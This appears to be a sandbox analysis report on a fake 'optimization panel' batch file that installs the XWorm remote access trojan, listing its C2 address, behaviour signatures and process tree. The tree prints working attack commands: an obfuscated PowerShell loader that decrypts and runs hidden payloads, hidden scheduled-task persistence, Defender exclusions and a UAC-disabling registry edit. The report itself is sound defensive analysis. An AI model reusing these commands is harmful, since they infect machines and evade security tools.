Analysis

  • max time kernel
    46s
  • max time network
    49s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 01:00

General

  • Target
    SpleenysOptimizationPanel.bat
  • Size 1.1MB
  • Sample240613-bct8xayapd
  • SHA256 b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • loans-clip.gl.at.ply.gg:6807

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 5 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 15 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Drops file in System32 directory
    • Modifies registry class
    PID:800
    • C:\Windows\system32\backgroundTaskHost.exe
      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
      2⤵
        PID:4632
      • C:\Windows\system32\backgroundTaskHost.exe
        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
        2⤵
          PID:3840
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k RPCSS -p
        1⤵
          PID:912
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:960
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:408
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
              1⤵
                PID:656
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:868
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1084
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1092
                    • C:\Users\Admin\AppData\Roaming\Microsoft Edge
                      "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
                      2⤵
                      • Executes dropped EXE
                      PID:4468
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1100
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1184
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1228
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                            PID:1304
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                              PID:1328
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                              1⤵
                                PID:1436
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1476
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1484
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                    1⤵
                                      PID:1544
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1604
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1644
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1700
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1708
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1860
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1876
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2016
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:2024
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1276
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                        1⤵
                                                          PID:2068
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                          1⤵
                                                            PID:2124
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2236
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                              1⤵
                                                                PID:2288
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                1⤵
                                                                  PID:2456
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                  1⤵
                                                                    PID:2604
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                    1⤵
                                                                      PID:2728
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                      1⤵
                                                                        PID:2752
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                        1⤵
                                                                        • Drops file in System32 directory
                                                                        PID:2844
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2916
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2956
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2968
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Suspicious use of FindShellTrayWindow
                                                                              • Suspicious use of SendNotifyMessage
                                                                              PID:3260
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:684
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                  3⤵
                                                                                    PID:4988
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                    3⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Modifies registry class
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4868
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_812_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                      4⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:3724
                                                                                    • C:\Windows\System32\WScript.exe
                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.vbs"
                                                                                      4⤵
                                                                                      • Checks computer location settings
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:1600
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.bat" "
                                                                                        5⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:368
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                          6⤵
                                                                                            PID:1080
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                            6⤵
                                                                                            • Blocklisted process makes network request
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Drops startup file
                                                                                            • Adds Run key to start application
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:1036
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizerPanel.bat" "
                                                                                              7⤵
                                                                                                PID:1408
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QF/IbnHAtLlzUJk1kze8d2i8Crb+jvbjcpGlNYeSuX0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cyrcYyxDUGFJ8qUMd/YrZA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Jjtyc=New-Object System.IO.MemoryStream(,$param_var); $GAxUU=New-Object System.IO.MemoryStream; $wGMUX=New-Object System.IO.Compression.GZipStream($Jjtyc, [IO.Compression.CompressionMode]::Decompress); $wGMUX.CopyTo($GAxUU); $wGMUX.Dispose(); $Jjtyc.Dispose(); $GAxUU.Dispose(); $GAxUU.ToArray();}function execute_function($param_var,$param2_var){ $Zanuw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RWRGi=$Zanuw.EntryPoint; $RWRGi.Invoke($null, $param2_var);}$segfn = 'C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizerPanel.bat';$host.UI.RawUI.WindowTitle = $segfn;$dYDZr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($segfn).Split([Environment]::NewLine);foreach ($kzQvK in $dYDZr) { if ($kzQvK.StartsWith('YqYwHyyrQxIPqRztfwTn')) { $ERcOq=$kzQvK.Substring(20); break; }}$payloads_var=[string[]]$ERcOq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                  8⤵
                                                                                                    PID:3840
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                    8⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Modifies registry class
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:1952
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_264_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                      9⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      PID:3228
                                                                                                    • C:\Windows\System32\WScript.exe
                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.vbs"
                                                                                                      9⤵
                                                                                                      • Checks computer location settings
                                                                                                      PID:4992
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.bat" "
                                                                                                        10⤵
                                                                                                          PID:3020
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QF/IbnHAtLlzUJk1kze8d2i8Crb+jvbjcpGlNYeSuX0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cyrcYyxDUGFJ8qUMd/YrZA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Jjtyc=New-Object System.IO.MemoryStream(,$param_var); $GAxUU=New-Object System.IO.MemoryStream; $wGMUX=New-Object System.IO.Compression.GZipStream($Jjtyc, [IO.Compression.CompressionMode]::Decompress); $wGMUX.CopyTo($GAxUU); $wGMUX.Dispose(); $Jjtyc.Dispose(); $GAxUU.Dispose(); $GAxUU.ToArray();}function execute_function($param_var,$param2_var){ $Zanuw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RWRGi=$Zanuw.EntryPoint; $RWRGi.Invoke($null, $param2_var);}$segfn = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.bat';$host.UI.RawUI.WindowTitle = $segfn;$dYDZr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($segfn).Split([Environment]::NewLine);foreach ($kzQvK in $dYDZr) { if ($kzQvK.StartsWith('YqYwHyyrQxIPqRztfwTn')) { $ERcOq=$kzQvK.Substring(20); break; }}$payloads_var=[string[]]$ERcOq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                            11⤵
                                                                                                              PID:404
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                              11⤵
                                                                                                              • Blocklisted process makes network request
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              • Drops startup file
                                                                                                              • Adds Run key to start application
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:3408
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HoaxOptimizerPanel.bat" "
                                                                                                                12⤵
                                                                                                                  PID:4868
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
                                                                                                                    13⤵
                                                                                                                    • UAC bypass
                                                                                                                    PID:2528
                                                                                                                  • C:\Windows\system32\mode.com
                                                                                                                    mode 145,30
                                                                                                                    13⤵
                                                                                                                      PID:232
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add HKLM /F
                                                                                                                      13⤵
                                                                                                                      • Modifies registry key
                                                                                                                      PID:4492
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
                                                                                                                      13⤵
                                                                                                                        PID:832
                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                        reg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
                                                                                                                        13⤵
                                                                                                                        • Modifies registry key
                                                                                                                        PID:224
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                                                      12⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      PID:1400
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                                                      12⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      PID:2344
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'
                                                                                                                      12⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      PID:1460
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'
                                                                                                                      12⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      PID:4776
                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
                                                                                                                      12⤵
                                                                                                                      • Creates scheduled task(s)
                                                                                                                      PID:4512
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                            7⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:1676
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                                            7⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:548
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                                            7⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:3908
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'
                                                                                                            7⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:972
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'
                                                                                                            7⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:1364
                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
                                                                                                            7⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:2308
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                1⤵
                                                                                                  PID:3416
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                  1⤵
                                                                                                    PID:3612
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                    1⤵
                                                                                                      PID:4304
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                      1⤵
                                                                                                        PID:540
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                        1⤵
                                                                                                          PID:2948
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                          1⤵
                                                                                                            PID:4056
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                            1⤵
                                                                                                              PID:1892

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  powershell.exe.log

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                  • Size 3KB
